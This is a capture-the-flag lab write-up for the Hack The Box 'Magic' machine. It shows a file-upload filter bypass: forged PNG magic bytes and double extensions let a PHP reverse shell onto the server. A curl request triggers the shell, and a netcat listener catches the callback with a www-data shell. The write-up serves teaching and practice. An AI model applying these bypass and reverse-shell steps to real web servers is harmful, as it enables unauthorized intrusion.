File_Upload
Upon successful authentication bypass with SQLi, the file upload feature has been confirmed to be present within the target web application at the endpoint; upload.php
It was also found that the uploaded files are stored to the /images/uploads/
directory with the original name preserved while being present on the main page at the index.php
file, with an dynamically-changing arbitrary name
In order to exploit the potentially underlying vulnerability, I would to first identify the filters in place both front and back
Frontend Filter?
Judging by the source code of the
upload.php
file, it includes the JavaScript file named, upload.js
, which suggests that this might be the frontend JS filter for file upload
upload.js
The
upload.js
file seems to be just relevant to the drag&drop feature and doesn’t include any security
This would mean that there is no frontend security for file upload
Backend Filter
The backend security for a file upload feature mostly consists of the following;
- Extension filter
- Size
- Magic Number
- Content-Type header
┌──(kali㉿kali)-[~/archive/htb/labs/magic]
└─$ nano shell.php
┌──(kali㉿kali)-[~/archive/htb/labs/magic]
└─$ ll shell.php
12K -rw-r--r-- 1 kali kali 9.1K Oct 1 17:49 shell.php
┌──(kali㉿kali)-[~/archive/htb/labs/magic]
└─$ file shell.php
shell.php: PHP script, ASCII text
I will first attempt to upload a PHP reverse shell with the .php
extension to see how the web app responses. It’s about 9.1k in size
Extension Filter
Upload failed with an error, indicating the presence of the extension filter
The web app only allows
JPG
, JPEG
, and PNG
┌──(kali㉿kali)-[~/archive/htb/labs/magic]
└─$ mv shell.php shell.png
So I will change the extension of the PHP reverse shell file to .png
to upload again
Now the web app responses with an ambiguous text
It could mean that the web app checks for the magic number
Magic Number
PNG
file contains a 8-btye long magic number; 89 50 4E 47 0D 0A 1A 0A
So I will first append an arbitrary 8-byte long text into the
shell.png
file
I can then change the appended 8-byte long text to match the magic number of
PNG
file
Success
I get a different result this time. The file has been uploaded.
This confirms the presence of magic number filter
Interestingly, the uploaded file,
shell.png
, is not present in the main page at the index.php
file
The one that shown here is the original test.jpg
file
The uploaded file,
shell.png
, is confirmed to be present in the uploaded directory; /images/uploads/
This would mean that exploiting the file upload feature itself is complete
However, the mechanism within the index.php
file that decides what gets to be present and what doesn’t from the /images/uploads/
directory is preventing PHP code execution
I can opt out to embedding PHP code into a valid image file and attempt get code execution directly from it
Embedding
┌──(kali㉿kali)-[~/archive/htb/labs/magic]
└─$ cp ~/Pictures/test.jpg webshell.php.jpg
I can grab a valid image file and change the extension to contain PHP
Then append the PHP code into the valid image file
The file,
webshell.php.jpg
, has been uploaded
Navigating to the uploaded file at
/images/uploads/webshell.php.jpg
, reveals a file corruption
However, I can get PHP code execution
PHP Extension
I uploaded a PHP reverse shell, shell.png
, with its magic number altered to match PNG
file earlier.
The initial scope of code execution was within the index.php
file as it would include the uploaded file with PHP codes in it
However, now that I have confirmed PHP code execution directly from the upload file at the /images/uploads/
directory, it would be unnecessary to continue to poke around the index.php
file
I just need to modify the extension of the shell.png
file to get code execution
┌──(kali㉿kali)-[~/archive/htb/labs/magic]
└─$ mv shell.png shell.php.png
This initially failed to get code execution, but I get a different result by altering the extension again
┌──(kali㉿kali)-[~/archive/htb/labs/magic]
└─$ curl http://$IP/images/uploads/shell.php.png
Invoking the PHP reverse shell within the shell.php.png
file
┌──(kali㉿kali)-[~/archive/htb/labs/magic]
└─$ nnc 9999
listening on [any] 9999 ...
connect to [10.10.16.8] from (UNKNOWN) [10.10.10.185] 60554
socket: Shell has connected! PID: 2567
whoami
www-data
hostname
ubuntu
ifconfig
ens160: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.10.10.185 netmask 255.255.255.0 broadcast 10.10.10.255
inet6 dead:beef::250:56ff:feb9:77ae prefixlen 64 scopeid 0x0<global>
inet6 fe80::250:56ff:feb9:77ae prefixlen 64 scopeid 0x20<link>
ether 00:50:56:b9:77:ae txqueuelen 1000 (Ethernet)
RX packets 181094 bytes 16267108 (16.2 MB)
RX errors 0 dropped 35 overruns 0 frame 0
TX packets 174735 bytes 50128704 (50.1 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 12746 bytes 1011089 (1.0 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 12746 bytes 1011089 (1.0 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Initial Foothold established to the target system as the www-data
user via exploiting the file upload vulnerability